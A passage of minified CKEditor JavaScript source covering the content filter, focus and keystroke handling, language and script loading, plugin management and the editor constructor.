z;++q)f(a[q],b,v,n)}if(r){q=0;for(z=r.length;q<z;++q)f(r[q],b,v,n)}a=v}}if(!a){d.push(b);return F}if(!a.valid){d.push(b);return F}z=a.validAttributes;var E=a.validStyles;r=a.validClasses;var x=b.attributes,A=b.styles,h=b.classes,n=b.classBackup,o=b.styleBackup,g,B,C=[];v=[];var j=/^data-cke-/;q=false;delete x.style;delete x["class"];delete b.classBackup;delete b.styleBackup;if(!a.allAttributes)for(g in x)if(!z[g])if(j.test(g)){if(g!=(B=g.replace(/^data-cke-saved-/,""))&&!z[B]){delete x[g];q=true}}else{delete x[g];
q=true}if(!a.allStyles||a.hadInvalidStyle){for(g in A)a.allStyles||E[g]?C.push(g+":"+A[g]):q=true;if(C.length)x.style=C.sort().join("; ")}else if(o)x.style=o;if(!a.allClasses||a.hadInvalidClass){for(g=0;g<h.length;++g)(a.allClasses||r[h[g]])&&v.push(h[g]);v.length&&(x["class"]=v.sort().join(" "));n&&v.length<n.split(/\s+/).length&&(q=true)}else n&&(x["class"]=n);q&&(l=F);if(!e.skipFinalValidation&&!i(b)){d.push(b);return F}}if(e.toHtml)b.name=b.name.replace(aa,"cke:$1");return l}function q(a){var b=
[],c;for(c in a)c.indexOf("*")>-1&&b.push(c.replace(/\*/g,".*"));return b.length?RegExp("^(?:"+b.join("|")+")$"):null}function t(a){var b=a.attributes,c;delete b.style;delete b["class"];if(c=CKEDITOR.tools.writeCssText(a.styles,true))b.style=c;a.classes.length&&(b["class"]=a.classes.sort().join(" "))}function i(a){switch(a.name){case "a":if(!a.children.length&&!a.attributes.name)return false;break;case "img":if(!a.attributes.src)return false}return true}function A(a){if(!a)return false;if(a===true)return true;
var b=q(a);return function(c){return c in a||b&&c.match(b)}}function u(){return new CKEDITOR.htmlParser.element("br")}function o(a){return a.type==CKEDITOR.NODE_ELEMENT&&(a.name=="br"||L.$block[a.name])}function l(a,b,c){var d=a.name;if(L.$empty[d]||!a.children.length)if(d=="hr"&&b=="br")a.replaceWith(u());else{a.parent&&c.push({check:"it",el:a.parent});a.remove()}else if(L.$block[d]||d=="tr")if(b=="br"){if(a.previous&&!o(a.previous)){b=u();b.insertBefore(a)}if(a.next&&!o(a.next)){b=u();b.insertAfter(a)}a.replaceWithChildren()}else{var d=
a.children,e;b:{e=L[b];for(var f=0,p=d.length,i;f<p;++f){i=d[f];if(i.type==CKEDITOR.NODE_ELEMENT&&!e[i.name]){e=false;break b}}e=true}if(e){a.name=b;a.attributes={};c.push({check:"parent-down",el:a})}else{e=a.parent;for(var f=e.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT||e.name=="body",l,r,p=d.length;p>0;){i=d[--p];if(f&&(i.type==CKEDITOR.NODE_TEXT||i.type==CKEDITOR.NODE_ELEMENT&&L.$inline[i.name])){if(!l){l=new CKEDITOR.htmlParser.element(b);l.insertAfter(a);c.push({check:"parent-down",el:l})}l.add(i,
0)}else{l=null;r=L[e.name]||L.span;i.insertAfter(a);e.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT&&(i.type==CKEDITOR.NODE_ELEMENT&&!r[i.name])&&c.push({check:"el-up",el:i})}}a.remove()}}else if(d=="style")a.remove();else{a.parent&&c.push({check:"it",el:a.parent});a.replaceWithChildren()}}function p(a,b,c){var d,e;for(d=0;d<c.length;++d){e=c[d];if((!e.check||a.check(e.check,false))&&(!e.left||e.left(b))){e.right(b,ba);break}}}function r(a,b){var c=b.getDefinition(),d=c.attributes,e=c.styles,f,p,i,l;if(a.name!=
c.element)return false;for(f in d)if(f=="class"){c=d[f].split(/\s+/);for(i=a.classes.join("|");l=c.pop();)if(i.indexOf(l)==-1)return false}else if(a.attributes[f]!=d[f])return false;for(p in e)if(a.styles[p]!=e[p])return false;return true}function n(a,b){var c,d;if(typeof a=="string")c=a;else if(a instanceof CKEDITOR.style)d=a;else{c=a[0];d=a[1]}return[{element:c,left:d,right:function(a,c){c.transform(a,b)}}]}function P(a){return function(b){return r(b,a)}}function C(a){return function(b,c){c[a](b)}}
var L=CKEDITOR.dtd,F=1,K=CKEDITOR.tools.copy,I=CKEDITOR.tools.trim,v="cke-test",G=["","p","br","div"];CKEDITOR.FILTER_SKIP_TREE=2;CKEDITOR.filter=function(a){this.allowedContent=[];this.disallowedContent=[];this.elementCallbacks=null;this.disabled=false;this.editor=null;this.id=CKEDITOR.tools.getNextNumber();this._={allowedRules:{elements:{},generic:[]},disallowedRules:{elements:{},generic:[]},transformations:{},cachedTests:{}};CKEDITOR.filter.instances[this.id]=this;if(a instanceof CKEDITOR.editor){a=
this.editor=a;this.customConfig=true;var b=a.config.allowedContent;if(b===true)this.disabled=true;else{if(!b)this.customConfig=false;this.allow(b,"config",1);this.allow(a.config.extraAllowedContent,"extra",1);this.allow(G[a.enterMode]+" "+G[a.shiftEnterMode],"default",1);this.disallow(a.config.disallowedContent)}}else{this.customConfig=false;this.allow(a,"default",1)}};CKEDITOR.filter.instances={};CKEDITOR.filter.prototype={allow:function(b,c,e){if(!d(this,b,e))return false;var f,p;if(typeof b=="string")b=
m(b);else if(b instanceof CKEDITOR.style){if(b.toAllowedContentRules)return this.allow(b.toAllowedContentRules(this.editor),c,e);f=b.getDefinition();b={};e=f.attributes;b[f.element]=f={styles:f.styles,requiredStyles:f.styles&&CKEDITOR.tools.objectKeys(f.styles)};if(e){e=K(e);f.classes=e["class"]?e["class"].split(/\s+/):null;f.requiredClasses=f.classes;delete e["class"];f.attributes=e;f.requiredAttributes=e&&CKEDITOR.tools.objectKeys(e)}}else if(CKEDITOR.tools.isArray(b)){for(f=0;f<b.length;++f)p=
this.allow(b[f],c,e);return p}a(this,b,c,this.allowedContent,this._.allowedRules);return true},applyTo:function(a,b,c,d){if(this.disabled)return false;var e=this,f=[],p=this.editor&&this.editor.config.protectedSource,r,x=false,h={doFilter:!c,doTransform:true,doCallbacks:true,toHtml:b};a.forEach(function(a){if(a.type==CKEDITOR.NODE_ELEMENT){if(a.attributes["data-cke-filter"]=="off")return false;if(!b||!(a.name=="span"&&~CKEDITOR.tools.objectKeys(a.attributes).join("|").indexOf("data-cke-"))){r=w(e,
a,f,h);if(r&F)x=true;else if(r&2)return false}}else if(a.type==CKEDITOR.NODE_COMMENT&&a.value.match(/^\{cke_protected\}(?!\{C\})/)){var c;a:{var d=decodeURIComponent(a.value.replace(/^\{cke_protected\}/,""));c=[];var i,l,n;if(p)for(l=0;l<p.length;++l)if((n=d.match(p[l]))&&n[0].length==d.length){c=true;break a}d=CKEDITOR.htmlParser.fragment.fromHtml(d);d.children.length==1&&(i=d.children[0]).type==CKEDITOR.NODE_ELEMENT&&w(e,i,c,h);c=!c.length}c||f.push(a)}},null,true);f.length&&(x=true);for(var n,
a=[],d=G[d||(this.editor?this.editor.enterMode:CKEDITOR.ENTER_P)],q;c=f.pop();)c.type==CKEDITOR.NODE_ELEMENT?l(c,d,a):c.remove();for(;n=a.pop();){c=n.el;if(c.parent){q=L[c.parent.name]||L.span;switch(n.check){case "it":L.$removeEmpty[c.name]&&!c.children.length?l(c,d,a):i(c)||l(c,d,a);break;case "el-up":c.parent.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT&&!q[c.name]&&l(c,d,a);break;case "parent-down":c.parent.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT&&!q[c.name]&&l(c.parent,d,a)}}}return x},checkFeature:function(a){if(this.disabled||
!a)return true;a.toFeature&&(a=a.toFeature(this.editor));return!a.requiredContent||this.check(a.requiredContent)},disable:function(){this.disabled=true},disallow:function(b){if(!d(this,b,true))return false;typeof b=="string"&&(b=m(b));a(this,b,null,this.disallowedContent,this._.disallowedRules);return true},addContentForms:function(a){if(!this.disabled&&a){var b,c,d=[],e;for(b=0;b<a.length&&!e;++b){c=a[b];if((typeof c=="string"||c instanceof CKEDITOR.style)&&this.check(c))e=c}if(e){for(b=0;b<a.length;++b)d.push(n(a[b],
e));this.addTransformations(d)}}},addElementCallback:function(a){if(!this.elementCallbacks)this.elementCallbacks=[];this.elementCallbacks.push(a)},addFeature:function(a){if(this.disabled||!a)return true;a.toFeature&&(a=a.toFeature(this.editor));this.allow(a.allowedContent,a.name);this.addTransformations(a.contentTransformations);this.addContentForms(a.contentForms);return a.requiredContent&&(this.customConfig||this.disallowedContent.length)?this.check(a.requiredContent):true},addTransformations:function(a){var b,
c;if(!this.disabled&&a){var d=this._.transformations,e;for(e=0;e<a.length;++e){b=a[e];var f=void 0,p=void 0,i=void 0,l=void 0,r=void 0,x=void 0;c=[];for(p=0;p<b.length;++p){i=b[p];if(typeof i=="string"){i=i.split(/\s*:\s*/);l=i[0];r=null;x=i[1]}else{l=i.check;r=i.left;x=i.right}if(!f){f=i;f=f.element?f.element:l?l.match(/^([a-z0-9]+)/i)[0]:f.left.getDefinition().element}r instanceof CKEDITOR.style&&(r=P(r));c.push({check:l==f?null:l,left:r,right:typeof x=="string"?C(x):x})}b=f;d[b]||(d[b]=[]);d[b].push(c)}}},
check:function(a,b,c){if(this.disabled)return true;if(CKEDITOR.tools.isArray(a)){for(var d=a.length;d--;)if(this.check(a[d],b,c))return true;return false}var e,f;if(typeof a=="string"){f=a+"<"+(b===false?"0":"1")+(c?"1":"0")+">";if(f in this._.cachedChecks)return this._.cachedChecks[f];d=m(a).$1;e=d.styles;var i=d.classes;d.name=d.elements;d.classes=i=i?i.split(/\s*,\s*/):[];d.styles=g(e);d.attributes=g(d.attributes);d.children=[];i.length&&(d.attributes["class"]=i.join(" "));if(e)d.attributes.style=
CKEDITOR.tools.writeCssText(d.styles);e=d}else{d=a.getDefinition();e=d.styles;i=d.attributes||{};if(e){e=K(e);i.style=CKEDITOR.tools.writeCssText(e,true)}else e={};e={name:d.element,attributes:i,classes:i["class"]?i["class"].split(/\s+/):[],styles:e,children:[]}}var i=CKEDITOR.tools.clone(e),l=[],r;if(b!==false&&(r=this._.transformations[e.name])){for(d=0;d<r.length;++d)p(this,e,r[d]);t(e)}w(this,i,l,{doFilter:true,doTransform:b!==false,skipRequired:!c,skipFinalValidation:!c});b=l.length>0?false:
CKEDITOR.tools.objectCompare(e.attributes,i.attributes,true)?true:false;typeof a=="string"&&(this._.cachedChecks[f]=b);return b},getAllowedEnterMode:function(){var a=["p","div","br"],b={p:CKEDITOR.ENTER_P,div:CKEDITOR.ENTER_DIV,br:CKEDITOR.ENTER_BR};return function(c,d){var e=a.slice(),f;if(this.check(G[c]))return c;for(d||(e=e.reverse());f=e.pop();)if(this.check(f))return b[f];return CKEDITOR.ENTER_BR}}(),destroy:function(){delete CKEDITOR.filter.instances[this.id];delete this._;delete this.allowedContent;
delete this.disallowedContent}};var z={styles:1,attributes:1,classes:1},B={styles:"requiredStyles",attributes:"requiredAttributes",classes:"requiredClasses"},x=/^([a-z0-9\-*\s]+)((?:\s*\{[!\w\-,\s\*]+\}\s*|\s*\[[!\w\-,\s\*]+\]\s*|\s*\([!\w\-,\s\*]+\)\s*){0,3})(?:;\s*|$)/i,E={styles:/{([^}]+)}/,attrs:/\[([^\]]+)\]/,classes:/\(([^\)]+)\)/},$=/^cke:(object|embed|param)$/,aa=/^(object|embed|param)$/,ba=CKEDITOR.filter.transformationsTools={sizeToStyle:function(a){this.lengthToStyle(a,"width");this.lengthToStyle(a,
"height")},sizeToAttribute:function(a){this.lengthToAttribute(a,"width");this.lengthToAttribute(a,"height")},lengthToStyle:function(a,b,c){c=c||b;if(!(c in a.styles)){var d=a.attributes[b];if(d){/^\d+$/.test(d)&&(d=d+"px");a.styles[c]=d}}delete a.attributes[b]},lengthToAttribute:function(a,b,c){c=c||b;if(!(c in a.attributes)){var d=a.styles[b],e=d&&d.match(/^(\d+)(?:\.\d*)?px$/);e?a.attributes[c]=e[1]:d==v&&(a.attributes[c]=v)}delete a.styles[b]},alignmentToStyle:function(a){if(!("float"in a.styles)){var b=
a.attributes.align;if(b=="left"||b=="right")a.styles["float"]=b}delete a.attributes.align},alignmentToAttribute:function(a){if(!("align"in a.attributes)){var b=a.styles["float"];if(b=="left"||b=="right")a.attributes.align=b}delete a.styles["float"]},matchesStyle:r,transform:function(a,b){if(typeof b=="string")a.name=b;else{var c=b.getDefinition(),d=c.styles,e=c.attributes,f,i,p,l;a.name=c.element;for(f in e)if(f=="class"){c=a.classes.join("|");for(p=e[f].split(/\s+/);l=p.pop();)c.indexOf(l)==-1&&
a.classes.push(l)}else a.attributes[f]=e[f];for(i in d)a.styles[i]=d[i]}}}})();
(function(){CKEDITOR.focusManager=function(a){if(a.focusManager)return a.focusManager;this.hasFocus=false;this.currentActive=null;this._={editor:a};return this};CKEDITOR.focusManager._={blurDelay:200};CKEDITOR.focusManager.prototype={focus:function(a){this._.timer&&clearTimeout(this._.timer);if(a)this.currentActive=a;if(!this.hasFocus&&!this._.locked){(a=CKEDITOR.currentInstance)&&a.focusManager.blur(1);this.hasFocus=true;(a=this._.editor.container)&&a.addClass("cke_focus");this._.editor.fire("focus")}},
lock:function(){this._.locked=1},unlock:function(){delete this._.locked},blur:function(a){function f(){if(this.hasFocus){this.hasFocus=false;var a=this._.editor.container;a&&a.removeClass("cke_focus");this._.editor.fire("blur")}}if(!this._.locked){this._.timer&&clearTimeout(this._.timer);var b=CKEDITOR.focusManager._.blurDelay;a||!b?f.call(this):this._.timer=CKEDITOR.tools.setTimeout(function(){delete this._.timer;f.call(this)},b,this)}},add:function(a,f){var b=a.getCustomData("focusmanager");if(!b||
b!=this){b&&b.remove(a);var b="focus",c="blur";if(f)if(CKEDITOR.env.ie){b="focusin";c="focusout"}else CKEDITOR.event.useCapture=1;var e={blur:function(){a.equals(this.currentActive)&&this.blur()},focus:function(){this.focus(a)}};a.on(b,e.focus,this);a.on(c,e.blur,this);if(f)CKEDITOR.event.useCapture=0;a.setCustomData("focusmanager",this);a.setCustomData("focusmanager_handlers",e)}},remove:function(a){a.removeCustomData("focusmanager");var f=a.removeCustomData("focusmanager_handlers");a.removeListener("blur",
f.blur);a.removeListener("focus",f.focus)}}})();CKEDITOR.keystrokeHandler=function(a){if(a.keystrokeHandler)return a.keystrokeHandler;this.keystrokes={};this.blockedKeystrokes={};this._={editor:a};return this};
(function(){var a,f=function(b){var b=b.data,e=b.getKeystroke(),d=this.keystrokes[e],f=this._.editor;a=f.fire("key",{keyCode:e,domEvent:b})===false;if(!a){d&&(a=f.execCommand(d,{from:"keystrokeHandler"})!==false);a||(a=!!this.blockedKeystrokes[e])}a&&b.preventDefault(true);return!a},b=function(b){if(a){a=false;b.data.preventDefault(true)}};CKEDITOR.keystrokeHandler.prototype={attach:function(a){a.on("keydown",f,this);if(CKEDITOR.env.gecko&&CKEDITOR.env.mac)a.on("keypress",b,this)}}})();
(function(){CKEDITOR.lang={languages:{af:1,ar:1,bg:1,bn:1,bs:1,ca:1,cs:1,cy:1,da:1,de:1,el:1,"en-au":1,"en-ca":1,"en-gb":1,en:1,eo:1,es:1,et:1,eu:1,fa:1,fi:1,fo:1,"fr-ca":1,fr:1,gl:1,gu:1,he:1,hi:1,hr:1,hu:1,id:1,is:1,it:1,ja:1,ka:1,km:1,ko:1,ku:1,lt:1,lv:1,mk:1,mn:1,ms:1,nb:1,nl:1,no:1,pl:1,"pt-br":1,pt:1,ro:1,ru:1,si:1,sk:1,sl:1,sq:1,"sr-latn":1,sr:1,sv:1,th:1,tr:1,tt:1,ug:1,uk:1,vi:1,"zh-cn":1,zh:1},rtl:{ar:1,fa:1,he:1,ku:1,ug:1},load:function(a,f,b){if(!a||!CKEDITOR.lang.languages[a])a=this.detect(f,
a);var c=this,f=function(){c[a].dir=c.rtl[a]?"rtl":"ltr";b(a,c[a])};this[a]?f():CKEDITOR.scriptLoader.load(CKEDITOR.getUrl("lang/"+a+".js"),f,this)},detect:function(a,f){var b=this.languages,f=f||navigator.userLanguage||navigator.language||a,c=f.toLowerCase().match(/([a-z]+)(?:-([a-z]+))?/),e=c[1],c=c[2];b[e+"-"+c]?e=e+"-"+c:b[e]||(e=null);CKEDITOR.lang.detect=e?function(){return e}:function(a){return a};return e||a}}})();
CKEDITOR.scriptLoader=function(){var a={},f={};return{load:function(b,c,e,d){var h=typeof b=="string";h&&(b=[b]);e||(e=CKEDITOR);var k=b.length,j=[],g=[],m=function(a){c&&(h?c.call(e,a):c.call(e,j,g))};if(k===0)m(true);else{var y=function(a,b){(b?j:g).push(a);if(--k<=0){d&&CKEDITOR.document.getDocumentElement().removeStyle("cursor");m(b)}},s=function(b,c){a[b]=1;var d=f[b];delete f[b];for(var e=0;e<d.length;e++)d[e](b,c)},w=function(b){if(a[b])y(b,true);else{var d=f[b]||(f[b]=[]);d.push(y);if(!(d.length>
1)){var e=new CKEDITOR.dom.element("script");e.setAttributes({type:"text/javascript",src:b});if(c)if(CKEDITOR.env.ie&&CKEDITOR.env.version<11)e.$.onreadystatechange=function(){if(e.$.readyState=="loaded"||e.$.readyState=="complete"){e.$.onreadystatechange=null;s(b,true)}};else{e.$.onload=function(){setTimeout(function(){s(b,true)},0)};e.$.onerror=function(){s(b,false)}}e.appendTo(CKEDITOR.document.getHead())}}};d&&CKEDITOR.document.getDocumentElement().setStyle("cursor","wait");for(var q=0;q<k;q++)w(b[q])}},
queue:function(){function a(){var b;(b=c[0])&&this.load(b.scriptUrl,b.callback,CKEDITOR,0)}var c=[];return function(e,d){var f=this;c.push({scriptUrl:e,callback:function(){d&&d.apply(this,arguments);c.shift();a.call(f)}});c.length==1&&a.call(this)}}()}}();CKEDITOR.resourceManager=function(a,f){this.basePath=a;this.fileName=f;this.registered={};this.loaded={};this.externals={};this._={waitingList:{}}};
CKEDITOR.resourceManager.prototype={add:function(a,f){if(this.registered[a])throw'[CKEDITOR.resourceManager.add] The resource name "'+a+'" is already registered.';var b=this.registered[a]=f||{};b.name=a;b.path=this.getPath(a);CKEDITOR.fire(a+CKEDITOR.tools.capitalize(this.fileName)+"Ready",b);return this.get(a)},get:function(a){return this.registered[a]||null},getPath:function(a){var f=this.externals[a];return CKEDITOR.getUrl(f&&f.dir||this.basePath+a+"/")},getFilePath:function(a){var f=this.externals[a];
return CKEDITOR.getUrl(this.getPath(a)+(f?f.file:this.fileName+".js"))},addExternal:function(a,f,b){for(var a=a.split(","),c=0;c<a.length;c++){var e=a[c];b||(f=f.replace(/[^\/]+$/,function(a){b=a;return""}));this.externals[e]={dir:f,file:b||this.fileName+".js"}}},load:function(a,f,b){CKEDITOR.tools.isArray(a)||(a=a?[a]:[]);for(var c=this.loaded,e=this.registered,d=[],h={},k={},j=0;j<a.length;j++){var g=a[j];if(g)if(!c[g]&&!e[g]){var m=this.getFilePath(g);d.push(m);m in h||(h[m]=[]);h[m].push(g)}else k[g]=
this.get(g)}CKEDITOR.scriptLoader.load(d,function(a,d){if(d.length)throw'[CKEDITOR.resourceManager.load] Resource name "'+h[d[0]].join(",")+'" was not found at "'+d[0]+'".';for(var e=0;e<a.length;e++)for(var q=h[a[e]],g=0;g<q.length;g++){var i=q[g];k[i]=this.get(i);c[i]=1}f.call(b,k)},this)}};CKEDITOR.plugins=new CKEDITOR.resourceManager("plugins/","plugin");
CKEDITOR.plugins.load=CKEDITOR.tools.override(CKEDITOR.plugins.load,function(a){var f={};return function(b,c,e){var d={},h=function(b){a.call(this,b,function(a){CKEDITOR.tools.extend(d,a);var b=[],m;for(m in a){var k=a[m],s=k&&k.requires;if(!f[m]){if(k.icons)for(var w=k.icons.split(","),q=w.length;q--;)CKEDITOR.skin.addIcon(w[q],k.path+"icons/"+(CKEDITOR.env.hidpi&&k.hidpi?"hidpi/":"")+w[q]+".png");f[m]=1}if(s){s.split&&(s=s.split(","));for(k=0;k<s.length;k++)d[s[k]]||b.push(s[k])}}if(b.length)h.call(this,
b);else{for(m in d){k=d[m];if(k.onLoad&&!k.onLoad._called){k.onLoad()===false&&delete d[m];k.onLoad._called=1}}c&&c.call(e||window,d)}},this)};h.call(this,b)}});CKEDITOR.plugins.setLang=function(a,f,b){var c=this.get(a),a=c.langEntries||(c.langEntries={}),c=c.lang||(c.lang=[]);c.split&&(c=c.split(","));CKEDITOR.tools.indexOf(c,f)==-1&&c.push(f);a[f]=b};CKEDITOR.ui=function(a){if(a.ui)return a.ui;this.items={};this.instances={};this.editor=a;this._={handlers:{}};return this};
CKEDITOR.ui.prototype={add:function(a,f,b){b.name=a.toLowerCase();var c=this.items[a]={type:f,command:b.command||null,args:Array.prototype.slice.call(arguments,2)};CKEDITOR.tools.extend(c,b)},get:function(a){return this.instances[a]},create:function(a){var f=this.items[a],b=f&&this._.handlers[f.type],c=f&&f.command&&this.editor.getCommand(f.command),b=b&&b.create.apply(this,f.args);this.instances[a]=b;c&&c.uiItems.push(b);if(b&&!b.type)b.type=f.type;return b},addHandler:function(a,f){this._.handlers[a]=
f},space:function(a){return CKEDITOR.document.getById(this.spaceId(a))},spaceId:function(a){return this.editor.id+"_"+a}};CKEDITOR.event.implementOn(CKEDITOR.ui);
(function(){function a(a,c,d){CKEDITOR.event.call(this);a=a&&CKEDITOR.tools.clone(a);if(c!==void 0){if(c instanceof CKEDITOR.dom.element){if(!d)throw Error("One of the element modes must be specified.");}else throw Error("Expect element of type CKEDITOR.dom.element.");if(CKEDITOR.env.ie&&CKEDITOR.env.quirks&&d==CKEDITOR.ELEMENT_MODE_INLINE)throw Error("Inline element mode is not supported on IE quirks.");if(!(d==CKEDITOR.ELEMENT_MODE_INLINE?c.is(CKEDITOR.dtd.$editable)||c.is("textarea"):d==CKEDITOR.ELEMENT_MODE_REPLACE?
!c.is(CKEDITOR.dtd.$nonBodyContent):1))throw Error('The specified element mode is not supported on element: "'+c.getName()+'".');this.element=c;this.elementMode=d;this.name=this.elementMode!=CKEDITOR.ELEMENT_MODE_APPENDTO&&(c.getId()||c.getNameAtt())}else this.elementMode=CKEDITOR.ELEMENT_MODE_NONE;this._={};this.commands={};this.templates={};this.name=this.name||f();this.id=CKEDITOR.tools.getNextId();this.status="unloaded";this.config=CKEDITOR.tools.prototypedCopy(CKEDITOR.config);this.ui=new CKEDITOR.ui(this);
this.focusManager=new CKEDITOR.focusManager(this);this.keystrokeHandler=new CKEDITOR.keystrokeHandler(this);this.on("readOnly",b);this.on("selectionChange",function(a){e(this,a.data.path)});this.on("activeFilterChange",function(){e(this,this.elementPath(),true)});this.on("mode",b);this.on("instanceReady",function(){this.config.startupFocus&&this.focus()});CKEDITOR.fire("instanceCreated",null,this);CKEDITOR.add(this);CKEDITOR.tools.setTimeout(function(){h(this,a)},0,this)}function f(){do var a="editor"+
++s;while(CKEDITOR.instances[a]);return a}function b(){var a=this.commands,b;for(b in a)c(this,a[b])}function c(a,b){b[b.startDisabled?"disable":a.readOnly&&!b.readOnly?"disable":b.modes[a.mode]?"enable":"disable"]()}function e(a,b,c){if(b){var d,e,f=a.commands;for(e in f){d=f[e];(c||d.contextSensitive)&&d.refresh(a,b)}}}function d(a){var b=a.config.customConfig;if(!b)return false;var b=CKEDITOR.getUrl(b),c=w[b]||(w[b]={});if(c.fn){c.fn.call(a,a.config);(CKEDITOR.getUrl(a.config.customConfig)==b||
!d(a))&&a.fireOnce("customConfigLoaded")}else CKEDITOR.scriptLoader.queue(b,function(){c.fn=CKEDITOR.editorConfig?CKEDITOR.editorConfig:function(){};d(a)});return true}function h(a,b){a.on("customConfigLoaded",function(){if(b){if(b.on)for(var c in b.on)a.on(c,b.on[c]);CKEDITOR.tools.extend(a.config,b,true);delete a.config.on}c=a.config;a.readOnly=!(!c.readOnly&&!(a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?a.element.is("textarea")?a.element.hasAttribute("disabled"):a.element.isReadOnly():a.elementMode==
CKEDITOR.ELEMENT_MODE_REPLACE&&a.element.hasAttribute("disabled")));a.blockless=a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?!(a.element.is("textarea")||CKEDITOR.dtd[a.element.getName()].p):false;a.tabIndex=c.tabIndex||a.element&&a.element.getAttribute("tabindex")||0;a.activeEnterMode=a.enterMode=a.blockless?CKEDITOR.ENTER_BR:c.enterMode;a.activeShiftEnterMode=a.shiftEnterMode=a.blockless?CKEDITOR.ENTER_BR:c.shiftEnterMode;if(c.skin)CKEDITOR.skinName=c.skin;a.fireOnce("configLoaded");a.dataProcessor=
new CKEDITOR.htmlDataProcessor(a);a.filter=a.activeFilter=new CKEDITOR.filter(a);k(a)});if(b&&b.customConfig!=null)a.config.customConfig=b.customConfig;d(a)||a.fireOnce("customConfigLoaded")}function k(a){CKEDITOR.skin.loadPart("editor",function(){j(a)})}function j(a){CKEDITOR.lang.load(a.config.language,a.config.defaultLanguage,function(b,c){var d=a.config.title;a.langCode=b;a.lang=CKEDITOR.tools.prototypedCopy(c);a.title=typeof d=="string"||d===false?d:[a.lang.editor,a.name].join(", ");if(!a.config.contentsLangDirection)a.config.contentsLangDirection=
a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?a.element.getDirection(1):a.lang.dir;a.fire("langLoaded");g(a)})}function g(a){a.getStylesSet(function(b){a.once("loaded",function(){a.fire("stylesSet",{styles:b})},null,null,1);m(a)})}function m(a){var b=a.config,c=b.plugins,d=b.extraPlugins,e=b.removePlugins;if(d)var f=RegExp("(?:^|,)(?:"+d.replace(/\s*,\s*/g,"|")+")(?=,|$)","g"),c=c.replace(f,""),c=c+(","+d);if(e)var l=RegExp("(?:^|,)(?:"+e.replace(/\s*,\s*/g,"|")+")(?=,|$)","g"),c=c.replace(l,"");CKEDITOR.env.air&&
(c=c+",adobeair");CKEDITOR.plugins.load(c.split(","),function(c){var d=[],e=[],f=[];a.plugins=c;for(var i in c){var h=c[i],g=h.lang,o=null,A=h.requires,v;CKEDITOR.tools.isArray(A)&&(A=A.join(","));if(A&&(v=A.match(l)))for(;A=v.pop();)CKEDITOR.tools.setTimeout(function(a,b){throw Error('Plugin "'+a.replace(",","")+'" cannot be removed from the plugins list, because it\'s required by "'+b+'" plugin.');},0,null,[A,i]);if(g&&!a.lang[i]){g.split&&(g=g.split(","));if(CKEDITOR.tools.indexOf(g,a.langCode)>=
0)o=a.langCode;else{o=a.langCode.replace(/-.*/,"");o=o!=a.langCode&&CKEDITOR.tools.indexOf(g,o)>=0?o:CKEDITOR.tools.indexOf(g,"en")>=0?"en":g[0]}if(!h.langEntries||!h.langEntries[o])f.push(CKEDITOR.getUrl(h.path+"lang/"+o+".js"));else{a.lang[i]=h.langEntries[o];o=null}}e.push(o);d.push(h)}CKEDITOR.scriptLoader.load(f,function(){for(var c=["beforeInit","init","afterInit"],f=0;f<c.length;f++)for(var p=0;p<d.length;p++){var i=d[p];f===0&&(e[p]&&i.lang&&i.langEntries)&&(a.lang[i.name]=i.langEntries[e[p]]);
if(i[c[f]])i[c[f]](a)}a.fireOnce("pluginsLoaded");b.keystrokes&&a.setKeystroke(a.config.keystrokes);for(p=0;p<a.config.blockedKeystrokes.length;p++)a.keystrokeHandler.blockedKeystrokes[a.config.blockedKeystrokes[p]]=1;a.status="loaded";a.fireOnce("loaded");CKEDITOR.fire("instanceLoaded",null,a)})})}function y(){var a=this.element;if(a&&this.elementMode!=CKEDITOR.ELEMENT_MODE_APPENDTO){var b=this.getData();this.config.htmlEncodeOutput&&(b=CKEDITOR.tools.htmlEncode(b));a.is("textarea")?a.setValue(b):
a.setHtml(b);return true}return false}a.prototype=CKEDITOR.editor.prototype;CKEDITOR.editor=a;var s=0,w={};CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{addCommand:function(a,b){b.name=a.toLowerCase();var d=new CKEDITOR.command(this,b);this.mode&&c(this,d);return this.commands[a]=d},_attachToForm:function(){function a(d){b.updateElement();b._.required&&(!c.getValue()&&b.fire("required")===false)&&d.data.preventDefault()}var b=this,c=b.element,d=new CKEDITOR.dom.element(c.$.form);if(c.is("textarea")&&
d){d.on("submit",a);if(d.$.submit&&d.$.submit.call&&d.$.submit.apply)d.$.submit=CKEDITOR.tools.override(d.$.submit,function(b){return function(){a();b.apply?b.apply(this):b()}});b.on("destroy",function(){d.removeListener("submit",a)})}},destroy:function(a){this.fire("beforeDestroy");!a&&y.call(this);this.editable(null);this.filter.destroy();delete this.filter;delete this.activeFilter;this.status="destroyed";this.fire("destroy");this.removeAllListeners();CKEDITOR.remove(this);CKEDITOR.fire("instanceDestroyed",
null,this)},elementPath:function(a){if(!a){a=this.getSelection();if(!a)return null;a=a.getStartElement()}return a?new CKEDITOR.dom.elementPath(a,this.editable()):null},createRange:function(){var a=this.editable();return a?new CKEDITOR.dom.range(a):null},execCommand:function(a,b){var c=this.getCommand(a),d={name:a,commandData:b,command:c};if(c&&c.state!=CKEDITOR.TRISTATE_DISABLED&&this.fire("beforeCommandExec",d)!==false){d.returnValue=c.exec(d.commandData);if(!c.async&&this.fire("afterCommandExec",
d)!==false)return d.returnValue}return false},getCommand:function(a){return this.commands[a]},getData:function(a){!a&&this.fire("beforeGetData");var b=this._.data;if(typeof b!="string")b=(b=this.element)&&this.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE?b.is("textarea")?b.getValue():b.getHtml():"";b={dataValue:b};!a&&this.fire("getData",b);return b.dataValue},getSnapshot:function(){var a=this.fire("getSnapshot");if(typeof a!="string"){var b=this.element;b&&this.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE&&
